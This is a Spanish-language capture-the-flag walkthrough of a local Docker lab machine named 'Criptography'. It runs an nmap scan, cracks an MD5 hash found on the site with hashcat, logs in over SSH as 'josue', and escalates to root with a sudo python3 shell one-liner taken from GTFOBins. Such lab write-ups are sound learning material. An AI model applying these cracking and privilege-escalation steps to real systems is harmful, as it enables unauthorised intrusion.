# Criptography

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2F7chdZpWgsmeklEVifa4f%2Fimage.png?alt=media&#x26;token=a9715586-8c8b-4559-8aff-2733a8005fbf" alt=""><figcaption></figcaption></figure>

## Setup

Iniciamos con la maquina desplegandola localmente en docker, con nuestro `auto_deploy.sh` y pasándole como parámetro el `.tar`

```sh
./auto_deploy.sh criptography.tar
```

Una vez corriendo en nuestro host, procedemos a comenzar con la fase de reconocimiento.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FjIiD2Lb8alFqiiIgc07x%2FPasted%20image%2020251102143959.png?alt=media&#x26;token=cddf19e2-f833-4cc4-8f45-3b664ba6a1fe" alt=""><figcaption></figcaption></figure>

## Reconocimiento

Para esta fase iremos reconociendo de uno a uno en el rango de 0-65535 todos los puertos que esten abiertos dentro de la maquina víctima. Haciéndolo con el comando `nmap`.

```sh
nmap -p- -sS -sCV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN targeted
```

Obteniendo como resultado de `OPEN` el puerto `22, 80`

```
# Nmap 7.95 scan initiated Sun Nov  2 14:40:56 2025 as: /usr/lib/nmap/nmap -p- -sS -sCV --min-rate 5000 -vvv -n -Pn -oN targeted 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000011s latency).
Scanned at 2025-11-02 14:40:56 EST for 12s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 de:7c:45:ae:34:9f:ff:63:26:9e:12:ac:4c:6d:16:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMI/iR/x3EXdEpEfWeDBvdO8A2vhpKR8hdBf9bf27MaUcJ3gKQcWjUB+apsOMTj0GiErWB/q2W18mI2J6/0ivbM=
|   256 d1:dd:ff:74:d3:43:12:a5:1f:30:45:1d:c0:ad:9f:75 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEGNlwHuV1nMhQ1ZajYBjHfhyNMb8s9mBvKnhv8qiTf
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Josue Palmo Home
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 3A:28:CB:57:A0:A5 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Puerto 80 (HTTP)

En el puerto 80 podemos ver corriendo una web un tanto, tema portafolio donde nos habla del sujeto Josue *(posible potencial usuario)*, y nos comenta un poco más de él, eso es en toda la lading page.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FjzLoGBAWUw0WVqVb0AWx%2FPasted%20image%2020251102144327.png?alt=media&#x26;token=653d51bf-86a5-410b-ac4f-d8cc2340463b" alt=""><figcaption></figcaption></figure>

Sin embargo al momento de darle una pequeña inspección, nos topamos con un mensaje algo particular.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FveP2caLoZ1JQ766NLWK5%2FPasted%20image%2020251102144718.png?alt=media&#x26;token=e390a04c-359a-48df-99b9-1b482144434f" alt=""><figcaption></figcaption></figure>

#### Criptografia

Un mensaje pequeño pero con mucho potencial de ataque, para la ocasión, solo procedemos a descifrar la contraseña que previamente nos indica el sujero, muy amablemente, que previamente esta codificada en `MD5`.

```sh
# Previamente confirmamos que el hash sea MD5 con hashcat
hashcat 'd527d5cc7da2f2f5d0d6e9e4f5e02cd1'
```

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FZVVoPlx0eU8W9wORjaTX%2FPasted%20image%2020251102145032.png?alt=media&#x26;token=b057c49e-6c87-43de-80dd-953f5ed10ccf" alt=""><figcaption></figcaption></figure>

Para posteriormente proceder con el escaneo de la contraseña.

```sh
hashcat 'd527d5cc7da2f2f5d0d6e9e4f5e02cd1' -m 0 -a 0 /usr/share/rockyou.txt
```

Dándonos un resultado particular:

```
d527d5cc7da2f2f5d0d6e9e4f5e02cd1:marihuana
```

### Puerto 22 (SSH)

Como primera la credencial ya la tenemos, y como usuario podemos usar el de `josue` previamente encontrado para realizar una conexión a `ssh` que previamente vimos que estaba abierto.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FeTF11zqeHBSXCCJau4oV%2FPasted%20image%2020251102145903.png?alt=media&#x26;token=7850a421-4e80-4844-8004-99e2eebdcea4" alt=""><figcaption></figcaption></figure>

Luego de ello nos lanzamos una `bash` para estas mas comodos y ahora en `~` nos encontramos una pequeña nota dejada para `josue`.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FZ9SMAbrd79f5LeIFvSHo%2FPasted%20image%2020251102150008.png?alt=media&#x26;token=22436db0-a06f-4c2f-a9ee-56f17f0e3a62" alt=""><figcaption></figcaption></figure>

Un poco tocando el tema Valorant, y obtenemos otra credencial *(la cual para esta ocasión no nos servirá de mucho)*, ahora pasándola a `CrackStation` podemos de igual forma descifrarla.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FNw4ctbBoax23KfwtTMrz%2FPasted%20image%2020251102150138.png?alt=media&#x26;token=eceb5235-27b9-4297-849e-04ed01bca513" alt=""><figcaption></figcaption></figure>

Dándonos otra credencial como la de `josueelmejor`.

## Subir privilegios

Ahora que estamos conectados por `ssh` con el usuario `josue`, entre muchas cosas podemos ver que binarios puede ejecutar nuestro usuario de forma `sudo`.

```
$ sudo -l

User josue may run the following commands on ac8859911136:
	(ALL) NOPASSWD: /usr/bin/python3
```

Y como podemos visualizar, podemos ejecutar el binario de `python3`, un binario potencial sobretodo si podemos ejecutar como `sudo`, asi que vamos con la escalada.

### GTFOBins

Una vez en `GTFOBins`, podemos realizar una búsqueda para `python` y entre muchas cosas.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FK7fOc3pIQh3kXVNmaVYl%2FPasted%20image%2020251102150942.png?alt=media&#x26;token=454e1e6d-412b-491e-85ee-4963e07893c5" alt=""><figcaption></figcaption></figure>

Nos interesa especialmente que tenga este apartado en especial, ya que si tiene esta etiqueta significa que podemos proveernos de comandos para ejecutar en `sudo` y asi tener una escalada a `root`.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FSESWkECD344YmrhUqT5I%2FPasted%20image%2020251102151136.png?alt=media&#x26;token=eb06ec71-aef2-432a-998b-7f4feebfbc2c" alt=""><figcaption></figcaption></figure>

Y entre tantas variantes, esta es la que nos interesa, [Sudo Python](https://gtfobins.github.io/gtfobins/python/#sudo). Luego de modificarla un poco para que la ejecución sea efectiva, corremos el siguiente comando:

```sh
sudo python3 -c 'import os; os.system("/bin/bash")'
```

Para asi obtener haber escalado eficazmente a `root`.

<figure><img src="https://560461403-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3VDgGPijfQh1EKqSN0GB%2Fuploads%2FOeDCQ4lmm9azRw2WKBin%2FPasted%20image%2020251102151426.png?alt=media&#x26;token=9fcdb2c2-8a5b-4173-8ee6-d32b3c8ea3fa" alt=""><figcaption></figcaption></figure>
